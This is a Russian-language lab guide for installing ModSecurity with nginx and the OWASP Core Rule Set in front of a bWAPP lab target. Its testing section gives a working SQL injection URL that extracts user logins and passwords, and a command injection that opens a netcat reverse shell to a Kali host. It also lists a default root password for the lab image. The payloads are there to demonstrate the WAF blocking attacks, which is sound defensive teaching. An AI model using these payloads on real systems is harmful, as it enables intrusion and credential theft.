# Лабораторная работа 8. WAF **Web Application Firewall** (сокращенно — **WAF**) - средства фильтрации трафика прикладного уровня, специально ориентированные на веб-приложения. Применение Web Application Firewall традиционно считается наиболее эффективным подходом к защите веб-ресурсов. WAF может быть реализован как облачный сервис, агент на веб-сервере или специализированное железное или виртуальное устройство. ## Инфраструктура ![](https://hackmd.io/_uploads/SkmWvQI83.png) ## Подготовка к работе ### ВАЖНО Следите за использованием места на диске!!! ![](https://hackmd.io/_uploads/HJSmmt7U3.png) **Не допускайте заполнения до 100%, иначе придётся восстанавливать pnet с удалением всех ваших лабораторных работ. Увеличивать дисковое пространство строго по инструкции. Инструкция:** https://pnetlab.com/pages/documentation?slug=how-to-expand-hdd-for-pnetlab ### Образы для WAF #### Шаблон bWapp Скачиваем отсюда https://disk.yandex.ru/d/K69QNh2RUxLnbA #### Шаблон Ubuntu (modsecurity) Скачиваем отсюда https://disk.yandex.ru/d/yqKs5h02EoulzA Чтобы использовать эти образы, нужно переместить скачанные папки в PNET по пути: `/opt/unetlab/addons/qemu/` После чего в терминал pnet ввести команду: `/opt/unetlab/wrappers/unl_wrapper -a fixpermissions` #### Пример импорта с использованием FileZilla: ![](https://hackmd.io/_uploads/SyW7bF7I2.png) Разархивируем скачанные архивы с образами, затем перетащим их по нужному пути: ![](https://hackmd.io/_uploads/rJWRZFQI2.png) ![](https://hackmd.io/_uploads/rJlezY7L3.png) ### Установка Nginx на сервере Modsecurity Заходим на Modsecurity: ``` user: root password: eve@123 ``` **Команды выполняем от root** 1. Обновляем пакеты: ``` apt update && apt upgrade -y reboot ``` 2. Если Nginx уже установлен, необходимо его удалить: ``` systemctl stop nginx apt-get purge nginx -y && apt autoremove nginx -y ``` ![](https://hackmd.io/_uploads/BJTguF7I3.png) Добавим репозиторий с nginx **для ubuntu 22**: **Свою версию вы можете увидеть здесь:** ![](https://hackmd.io/_uploads/HJ6dUYXUh.png) ``` add-apt-repository ppa:ondrej/nginx -y && apt update ``` ![](https://hackmd.io/_uploads/Bk8BdtmU3.png) Если у вас **ubuntu 20**: ``` add-apt-repository ppa:ondrej/nginx-stable -y && apt update ``` Установим пакеты. Если будет предложено оставить текущий файл конфигурации nginx, то оставляем его: ``` apt install nginx-core nginx-common nginx nginx-full -y ``` Нам нужен исходный код для дальнейшей компиляции ModSec. Отредактируем файл (в предыдущих версиях вместо jammy будет другое): ``` nano /etc/apt/sources.list.d/ondrej-ubuntu-nginx-jammy.list ``` Отредактируем файл таким образом: ![](https://hackmd.io/_uploads/S1BZeoQUn.png) Обновим репозиторий: ``` apt update ``` Создадим директорию с исходным кодом и перейдём туда: ``` mkdir /usr/local/src/nginx && cd /usr/local/src/nginx ``` Загрузим исходные коды: ``` apt install dpkg-dev -y && sudo apt source nginx ``` Версии должны совпадать, обязательно проверьте: ![](https://hackmd.io/_uploads/rypAlsXU3.png) ## Modsecurity. Подготовка к работе Для подкачки исходных файлов установим git: ``` apt install git -y ``` Скачиваем исходные файлы с гитхаба: ``` git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity /usr/local/src/ModSecurity/ ``` ![](https://hackmd.io/_uploads/r1rAXsQUn.png) Перейдём в папку: ``` cd /usr/local/src/ModSecurity/ ``` И установим зависимости: ``` apt install gcc make build-essential autoconf automake libtool libcurl4-openssl-dev liblua5.3-dev libfuzzy-dev ssdeep gettext pkg-config libpcre3 libpcre3-dev libxml2 libxml2-dev libcurl4 libgeoip-dev libyajl-dev doxygen -y ``` Теперь нужно добавить `git submodule init` и обновить `git submodule update` модули гит: ![](https://hackmd.io/_uploads/BkQTNjmU3.png) Выполните команды: ``` ./build.sh ./configure make make install ``` ![](https://hackmd.io/_uploads/B1FedoQ8n.png) **Примечание:** > При использовании команды ./configure игнорируйте сообщение fatal: No names found, cannot describe anything. > При использовании команды make начнётся не быстрый процесс. Ускорить можно при помощи команды make -j 6, если на данной машине есть 6 выделенных ядер процессора. ## Установка коннектора nginx на Modsecurity ``` git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git /usr/local/src/ModSecurity-nginx/ ``` ![](https://hackmd.io/_uploads/HywDdim8n.png) Переходим в директорию nginx.XX.X - текущая версия, может отличаться в зависимости от даты выполнения работы, в данном случае директория будет с версией **/usr/local/src/nginx/nginx-1.24.0**: ``` cd /usr/local/src/nginx/nginx-1.24.0 ``` Устанавливаем зависимости: ``` apt build-dep nginx -y && apt install uuid-dev -y ``` Выполняем конфигурацию: ``` ./configure --with-compat --add-dynamic-module=/usr/local/src/ModSecurity-nginx ``` ![](https://hackmd.io/_uploads/rkIVYj78h.png) Выполняем сборку модулей: ``` make modules ``` Копируем динамический модуль: ``` cp objs/ngx_http_modsecurity_module.so /usr/share/nginx/modules/ ``` ## Конфигурирование ModSec: коннектор Редактируем конфиг nginx: `nano /etc/nginx/nginx.conf` Нужно добавить указанную строчку в самый верх этой конфигурации (тут используется путь до файла, который был скопирован выше) > load_module modules/ngx_http_modsecurity_module.so; > Теперь туда нужно добавить следующие строки. Расположить из нужно в секции **HTTP {}** > modsecurity on; modsecurity_rules_file /etc/nginx/modsec/modsec-config.conf; ![](https://hackmd.io/_uploads/r1869smU2.png) ## Конфигурирование ModSec: файлы и правила Создаем директорию: `mkdir /etc/nginx/modsec/` Копируем туда шаблон конфигурации: `cp /usr/local/src/ModSecurity/modsecurity.conf-recommended /etc/nginx/modsec/modsecurity.conf` И редактируем его: `nano /etc/nginx/modsec/modsecurity.conf` Hеобходимо установить WAF в режим активной блокировки атак, то строчку нужно поменять на: ![](https://hackmd.io/_uploads/rJqU3o78n.png) Изменим параметры аудита: ![](https://hackmd.io/_uploads/BkeE3jQLn.png) > Доступные части журнала аудита: > > - A: Заголовок журнала аудита (обязательно). > - B: Заголовки запросов. > - C: Тело запроса (присутствует только в том случае, если тело запроса существует и ModSecurity настроен на его перехват. Для этого потребуется включить параметр SecRequestBodyAccess). > - D: зарезервировано для промежуточных заголовков ответа; еще не реализовано. > - E: Промежуточное тело ответа (присутствует только в том случае, если ModSecurity настроен на перехват тел ответов и если механизм журнала аудита настроен на его запись. Для перехвата тел ответов требуется, чтобы SecResponseBodyAccess был включен). Промежуточное тело ответа такое же, как и фактическое тело ответа, если ModSecurity не перехватывает промежуточное тело ответа, и в этом случае фактическое тело ответа будет содержать сообщение об ошибке (либо сообщение об ошибке Apache по умолчанию, либо страницу ErrorDocument). > - F: Заголовки окончательного ответа (за исключением заголовков Date и Server, которые всегда добавляются Apache на позднем этапе доставки контента). > - G: зарезервировано для фактического тела ответа; еще не реализовано. > - H: Трейлер журнала аудита. > - I: Эта часть не была реализована в ModSecurity v3. > - J: Эта часть содержит информацию о файлах, загруженных с использованием кодировки multipart/form-data. > - K: Эта часть не была реализована в ModSecurity v3. > - Z: Конечная граница, обозначает конец записи (обязательно). Теперь добавим правила обнаружения атак на примере правил OWASP: `nano /etc/nginx/modsec/modsec-config.conf` Добавим в файл строку **Include /etc/nginx/modsec/modsecurity.conf**: ![](https://hackmd.io/_uploads/Sk-Pps7Uh.png) Перенесем файл unicode.mapping **cp /usr/local/src/ModSecurity/unicode.mapping /etc/nginx/modsec/**. И проверим, что конфиги nginx не вызывают конфликтов: ``` nginx -t ``` ![](https://hackmd.io/_uploads/BkalRiQ83.png) Если всё хорошо и конфилктов не вызвано, перезапускаем nginx: ``` systemctl restart nginx ``` ## Установка правил В данном примере используется v3.3.2, поэтому все последующие команды используют именно эти цифры. Если вы устанавливаете другую версию, будьте внимательнее при введении последующих команд. Вы можете переключиться в директорию, в которой храните загруженные файлы. ``` wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v3.3.2.zip ``` Устанавливаем unzipapt: ``` apt install unzip -y ``` Распаковываем архив в нужную директорию: ``` unzip v3.3.2.zip -d /etc/nginx/modsec ``` Копируем файл эталонного конфига. Эталон лучше не удалять, он останется в виде бекапа конфига: ``` cp /etc/nginx/modsec/coreruleset-3.3.2/crs-setup.conf.example /etc/nginx/modsec/coreruleset-3.3.2/crs-setup.conf ``` Для активации правил изменим конфиг: ``` nano /etc/nginx/modsec/modsec-config.conf ``` ![](https://hackmd.io/_uploads/BkuiJ3QI2.png) Сохраним файл. Проверим работоспособность с помощью `sudo nginx -t` и перезапустим сервис, если всё хорошо `systemctl restart nginx`. ![](https://hackmd.io/_uploads/Hycfe3QIh.png) Чтобы проверить работоспособность решения, в консоль сервера введите: ``` tail -f /var/log/modsec_audit.log ``` Затем зайдите по http на данный сервер, используя следующий URL (IP зависит от адреса вашего сервера): ``` http://*IP адрес bwapp*/index.html?exec=/bin/bash ``` Примечание: > Если Modsecurity сработает, вы увидите новые события в открытом журнале. Если при этом включен режим активных блокировок, в браузере отобразится ошибка 403. > ![](https://hackmd.io/_uploads/Hysg-2X82.png) ## Проксирование Чтобы Modsecurity мог защищать сайт, необходимо создать обратное проксирование на данный сайт. Отредактируем конфигурацию: ``` nano /etc/nginx/sites-enabled/default ``` Приведём конфигурацию под `location /` в следующий вид: ![](https://hackmd.io/_uploads/ryjbY4ULn.png) ## Тестирование Поскольку ModSecurity находится в режиме блокировки, то после попытки проведения атаки в окне браузера появится ошибка 403. Воспользуемся машинкой Kali и перейдём по адресу `http://*IP адрес ModSecurity*/index.html?exec=/bin/bash` ![](https://hackmd.io/_uploads/BkD0KN8L3.png) **Примечание:** > Пароль и логин выделены на скрине После выбора сложности выберем эксплуатируемую уязвимость: ![](https://hackmd.io/_uploads/HkqM9ELI3.png) - также можно выбрать уязвимость в выпадающем списке: ![](https://hackmd.io/_uploads/Ski_MrUIh.png) **Используемая литература:** https://timcore.ru/2021/05/24/14-ujazvimost-sql-injection-get-select/ https://timcore.ru/2021/05/18/9-ujazvimost-os-command-injection/ ### SQL-Injection GET/Select ``` http://192.168.1.100/bWAPP/sqli_2.php?movie=777 union select 1,login,3,email,password,6,7 from users#&action=go ``` Этот запрос пытается извлечь данные из таблицы "users" с использованием оператора "union select", который позволяет объединять результаты нескольких запросов в один набор данных. Запрос начинается с числа 777, которое не имеет значения и может быть любым числом. Затем следует оператор "union select", после которого перечисляются столбцы, которые мы хотим извлечь из таблицы "users". В данном случае пытаемся извлечь значения из столбцов "login", "email" и "password". Знак "#" в конце запроса является символом комментария в SQL и используется для игнорирования оставшейся части запроса. На Kali машинке мы увидим ошибку 403: ![](https://hackmd.io/_uploads/HyUx3DvU3.png) В логах сервера увидим следующее: ![](https://hackmd.io/_uploads/HJ1U3wDIh.png) ### OS Command Injection Это тип атаки на приложение, предоставляющий злоумышленнику возможность несанкционированного выполнения команд операционной системы на некоторой машине. **Примечание:** перед использованием команды узнайте ip адрес Kali, команда `ip a` ``` www.nsa.gov && nc -vn 192.168.1.102 4444 -e /bin/bash ``` Эта команда является командой для выполнения в терминале Linux и состоит из двух частей, разделенных оператором "&&": 1. www.nsa.gov - это URL-адрес сайта Национального управления по сигнальной разведке США. Эта часть команды не имеет отношения к выполнению команды в терминале. 2. nc -vn 192.168.1.102 4444 -e /bin/bash - это команда для установления соединения с IP-адресом 192.168.1.102 на порту 4444 и запуска оболочки bash на удаленном компьютере. ![](https://hackmd.io/_uploads/BkYVawPI2.png) В логах сервера увидим следующее: ![](https://hackmd.io/_uploads/SJwHRwvLn.png)